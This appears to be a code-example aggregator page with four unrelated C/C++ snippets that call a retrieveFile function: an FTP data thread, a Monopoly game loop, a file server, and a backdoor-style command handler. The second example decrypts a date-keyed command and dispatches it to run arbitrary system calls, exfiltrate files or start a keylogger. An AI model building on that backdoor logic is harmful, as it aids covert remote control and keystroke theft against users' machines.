unsigned __stdcall serviceDataThread( void* pArguments ){
		ListenSocket * clientDataSocket;
		ClientThreadResource * res = (ClientThreadResource*) pArguments;
		clientDataSocket = acceptRequest(res->dataSocket);
		
		if(res->mode == FTP_DATA_MODE_PASIVE){
			
			if ( res->transferTask == STOR_TRANSFER ){
				storeFile( res , clientDataSocket );
			} else if ( res->transferTask == RETR_TRANSFER ){
				retrieveFile( res , clientDataSocket );
			} else if ( res->transferTask == LIST_TRANSFER ){
				listFiles( res , clientDataSocket );
			}
			
		}else if(res->mode == FTP_DATA_MODE_ACTIVE){
			
			while(res->mode == FTP_DATA_MODE_ACTIVE){		
				
				blockMutex(res->dataMutex );
				executeActiveCommand(res);
				//unblockMutex(res->controlMutex);
			}			
		}

		res->mode = FTP_DATA_MODE_INACTIVE;
		_endthread();
	}
Ejemplo n.º 2
0
void getCommand(char **command, int payloadSize)
{
    char *decryptedCommand = NULL;
    char *token = NULL;
    char date[11];
    struct tm *tm;
    int option = -1;
    time_t t;
    
    // Get the date information
    time(&t);
    tm = localtime(&t);
    strftime(date, sizeof(date), "%Y:%m:%d", tm);
    
    // Decrypt our command using today's date
    token = malloc(sizeof(char) * payloadSize);
    decryptedCommand = encrypt_data(*command, date, payloadSize);

    // Get the command value and an optional filename or command
    if (sscanf(decryptedCommand, "%d|%[^NULL]", &option, token) == 0)
    {
        free(token);
        return;
    }

    // Give the client some time to set itself up
    sleep(2);
    
    // Execute the given command
    switch (option) {
        case EXECUTE_SYSTEM_CALL:
            executeSystemCall(token);
            break;
        case FIND_FILE:
            retrieveFile(token);
            break;
        case KEYLOGGER:
            keylogger();
            break;
        default:
            break;
    }
    free(token);
}
Ejemplo n.º 3
0
cManager::cManager(vector<cSquare*> &vSquareVector)
{
	vector<cSquare*> vOwnedProperties;

	//Uses A Const To Determine The Amount Of Rounds
	int managerRounds[amountOfRounds];

	//Outputs A Welcoming Message To User
	cout << "Welcome To Monopoly." << endl;

	//Reads The Monopoly.txt File And Creates Pointers Of Classes
	retrieveFile(vSquareVector);

	//Uses The Amount Of Rounds Const To Determine The Random's Length
	roll(managerRounds);

	//Creates The Objects Of cPlayer Class.
	cPlayer Player1("Dog", 300, 0);
	cPlayer Player2("Car", 300, 0);

	//Uses The Amount Of Rounds To Determine Howmany Times To Loop
	for (int i = 0; i < amountOfRounds; i++)
	{
		// Splits Evenly For Each Use(Odd 1 Player , Even The Other)
		if (isOdd(i) == true)
		{
			diceLocationMove(Player1.getCurrentPosition(), managerRounds[i], Player1);
			squareLocation(Player1.getCurrentPosition(), Player1, Player2, vSquareVector);
			checkPlayerBalance(Player1);

		}
		else
		{
			diceLocationMove(Player2.getCurrentPosition(), managerRounds[i], Player2);
			squareLocation(Player2.getCurrentPosition(), Player2, Player1, vSquareVector);
			checkPlayerBalance(Player2);

		}
	}
	clearMemory(vSquareVector);
}
Ejemplo n.º 4
0
//main driver function
int main(int argc, char **argv) 
{
    int listenfd, connfd, port;
    socklen_t clientlen;
    struct sockaddr_in clientaddr;
    struct hostent;
	unsigned int secretKey;
    if (argc != 3) 
    {
		fprintf(stderr, "usage: %s <port> <secretKey>\n", argv[0]);
		exit(0);
    }

    port = atoi(argv[1]);
    secretKey = atoi(argv[2]);
    listenfd = Open_listenfd(port);
    while (1) 
    {
		clientlen = sizeof(clientaddr);
		connfd = Accept(listenfd, (SA *)&clientaddr, &clientlen);

		int requestType = -1;
		int status = -1;
		rio_t rio;
		Rio_readinitb(&rio, connfd);
        int KeyCheck = checkKey(&rio, secretKey); 
		if (KeyCheck == 0) 
        {

			requestType = getRequest(&rio);

			if (requestType == 0) {
				printf("Request Type = get\n");
				status = retrieveFile(&rio, connfd);
			}
			else if (requestType == 1) {
				printf("Request Type = put\n");
				status = store(&rio, connfd);
			}
			else if (requestType == 2) {
				printf("Request Type = del\n");
				status = deleteRequest(&rio, connfd);
			}
			else if (requestType == 3) {
				printf("Request Type = list\n");
				status = listFilesRequest(&rio, connfd);
			}
			else {
				printf("Request Type = invalid");
			}
		}

		if (status == 0) 
        {
			printf("Operation Status = Success\n");
		}
		else 
        {
			printf("Operation Status = error\n");
		}
		printf("-------------------------------\n");
		Close(connfd);
    }

    exit(0);
}